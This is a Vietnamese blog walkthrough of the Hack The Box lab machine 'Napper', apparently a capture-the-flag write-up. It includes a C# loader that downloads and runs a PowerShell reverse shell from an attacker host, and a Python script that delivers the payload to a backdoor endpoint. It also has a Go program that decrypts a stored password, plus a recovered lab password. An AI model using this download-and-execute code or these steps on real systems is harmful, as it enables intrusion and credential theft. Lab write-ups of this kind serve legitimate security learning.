Napper

 

Enumeration

Zenmap:

Fuff

Website app

Kiểm tra website:
Đây là một website research blog, kiếm tra một số bài viết và tôi thấy:

Website internal:

Kiểm tra website tôi thấy có yêu cầu nhập username và password. Thử với username và password được tạo default. Khi đó tôi có thể login thành công:
Đọc bài viết này:
Có một nghiên cứu về mã độc thông qua request /ews/MsExgHealthCheckd/:

Gaining access ruben

Đi xâu vào nghiên cứ điều này:
Từ đây tôi có payload được nạp vào từ sdafwe3rwe23 sau đó chạy hàm Run từ payload được nạp.
Khi đó tôi có payload như sau:
using System;
using System.Diagnostics;
using System.Net;

namespace shell // <-- name file shell.cs
{
    public class Run
    {
        public Run()
        {
            var scriptUrl = "http://<IP Attack>/<shell>.ps1";

            using (WebClient webClient = new WebClient())
            {
                // Download the PowerShell script from the URL
                string scriptContent = webClient.DownloadString(scriptUrl);

                var processStartInfo = new ProcessStartInfo("powershell.exe")
                {
                    // Pass the downloaded script content as a command
                    Arguments = scriptContent,
                    RedirectStandardOutput = true,
                    RedirectStandardError = true,
                    UseShellExecute = false,
                    CreateNoWindow = true
                };

                var process = new Process
                {
                    StartInfo = processStartInfo
                };

                process.Start();

            }
        }

        public static void Main(string[] args)
        {

        }
    }
}
Với file shell ps1 được tôi sử dụng là : powershell reverse shell
Khi đó tôi tạo payload như sau:
$ mcs -reference:System.ServiceProcess.dll shell.cs
$ ls -la
total 16
drwxr-xr-x  2 yuh yuh 4096 Nov 12 09:03 .
drwxr-xr-x 66 yuh yuh 4096 Nov 12 09:02 ..
-rw-r--r--  1 yuh yuh 1137 Nov 12 08:59 shell.cs
-rwxr-xr-x  1 yuh yuh 3584 Nov 12 09:03 shell.exe
Tôi đã có file shell.exe. Mã hóa base64 file shell.exe và thêm vào khai thác sau:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
payload="<BASE64-PAYLOAD-shell.exe>" 


hosts =["napper.htb"]
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"
for h in hosts:
        url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"
        try:
                r_ssl=requests.post(url_ssl,data=form_field,verify=False)
                print(f"{url_ssl} : {r_ssl.status_code}{r_ssl.headers}")
        except KeyboardInterrupt:
                exit()
        except Exception as e:
                print(e)
                pass
Chạy khai thác và tôi có shell sau:
Tôi không hài lòng với dấu SHELL> lắm nên tôi sửa đoạn code ps1 như sau:
Khi đó kết nối lại và tôi có shell như sau:

Privilege escalation

Kiểm tra một số folder tôi thấy:
Một gợi ý trong máy này, password user backup được lưu ở Elastic DB.
Đây là chương trình để được nhắc tới trong gợi ý.
Thư mục elasticsearch chứa db được nhắc tới trong gợi ý. Tìm kiếm google tôi biết rằng elasticsearch được start trên port 9200 và 9300. Sử dụng chisel tôi có thể truy cập web như sau:
Kiểm tra username và password mặc định nhưng không thể thành công. Tôi kiểm tra các file log, Nhưng nó có rất nhiều file log nên tôi quyết định liệt kê hàng loạt những file có nội dung Password:
Khi đó tôi có được password, login nó:
Login thành công. Tôi kiểm tra các thông tin khác từ elasticsearch-8.8.0: Pentesting Elasticsearch
Tôi thấy có 2 index, kiểm tra 2 index này:

Kiểm tra mã code a.exe, lấy file này về máy và decompile nó:
Tôi biết rằng chương trình được viết bằng golang. Tôi không giỏi về việc decompile, nên tôi sẽ không đi xâu nói về phần này:
Từ hàm main.main tôi thấy chương trình có gọi để lấy "seed" trong elasticsearch để random và mã hóa, sau đó gọi tới user-00001.
Nhìn chung blob trong user-00001 là username và password được mã hóa, nhưng nó lại được thay đổi liên tục.
Viết một chương trình để giải mã:
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "encoding/base64"
    "fmt"
)

func main() {

    // the Blob
    blobEncrypted := "<blob>"

    // seed the RNG
    rng := rand.New(rand.NewSource(<seed>))

    // generate the "random" key
    key := make([]byte, 16)

    for i := 0; i < 16; i++ {
        k :=  rng.Intn(254) + 1
        key[i] = byte(k)

        fmt.Printf("Random Bytes: %x\n", k)
    }

    // decrypt
    text := decrypt(key, blobEncrypted)
    fmt.Printf(text)
}

// decrypt from base64 to decrypted string
func decrypt(key []byte, cryptoText string) string {
    ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)

    block, err := aes.NewCipher(key)
    if err != nil {
        panic(err)
    }

    // The IV needs to be unique, but not secure. Therefore it's common to
    // include it at the beginning of the ciphertext.
    if len(ciphertext) < aes.BlockSize {
        panic("ciphertext too short")
    }
    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCFBDecrypter(block, iv)

    // XORKeyStream can work in-place if the two arguments are the same.
    stream.XORKeyStream(ciphertext, ciphertext)

    return fmt.Sprintf("%s", ciphertext)
}
Khi đó tôi có thể giải mã được password của backup user:
$ go run exploit.go
Random Bytes: 46
Random Bytes: cd
Random Bytes: 76
Random Bytes: 49
Random Bytes: bd
Random Bytes: 23
Random Bytes: fc
Random Bytes: d8
Random Bytes: f9
Random Bytes: e4
Random Bytes: 16
Random Bytes: b0
Random Bytes: 79
Random Bytes: 80
Random Bytes: d5
Random Bytes: ef
xDdhzGjqSmoVhTZEKhLEcAIqFTeZcdHwOzulLOrc
Khi đó tôi có được password cho backup user. Sử dụng RunasCs:
Tôi thấy user thuộc group Administrators. Sử dụng revershell trong runas và tôi có được shell backup và lấy flag root.



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post